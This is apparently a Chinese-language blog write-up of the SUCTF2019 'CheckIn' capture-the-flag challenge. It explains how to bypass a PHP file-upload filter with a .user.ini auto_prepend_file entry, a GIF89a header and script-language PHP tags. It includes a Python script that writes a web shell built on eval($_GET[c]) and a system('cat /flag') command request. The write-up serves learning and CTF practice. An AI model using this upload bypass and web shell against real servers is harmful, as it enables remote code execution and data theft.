SUCTF2019 CheckIn

  • 对文件后缀的黑名单匹配
    通过上传配置文件.user.ini绕过
    .user.ini
    auto_prepend_file:指定的文件能够在主文件执行前自动被解析。
    auto_append_file:指定的文件的内容在主文件执行后自动被解析

如果php脚本使用了exit()中断退出,auto_append_file就不会被执行

于是可以通过上传.user.ini,然后再上传一个指定的文件,文件里面写了php脚本,从而实现php代码执行。

  • 对文件类型的匹配
    通过添加gif文件头GIF89a绕过
  • 对<?的匹配
    php7以前可以通过<script language=‘php’></script>和<%%>的方式执行php代码,本题是php5.6可行。
  • 生成文件的py脚本
user_ini = b"""GIF89a
auto_prepend_file=evil.gif
"""

shell = b"""GIF89a
<script language='php'>echo 'insert!'; eval($_GET[c]);</script>
"""

with open('.user.ini',"wb") as file1:
    file1.write(user_ini)
with open('evil.gif',"wb") as file2:
    file2.write(shell)
print('done')

首先生成2个文件。上传后再访问上传路径下的index.php,此时evil.gif中的php代码会首先被解释执行,于是可以通过c执行命令

?c=system("cat /flag");

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值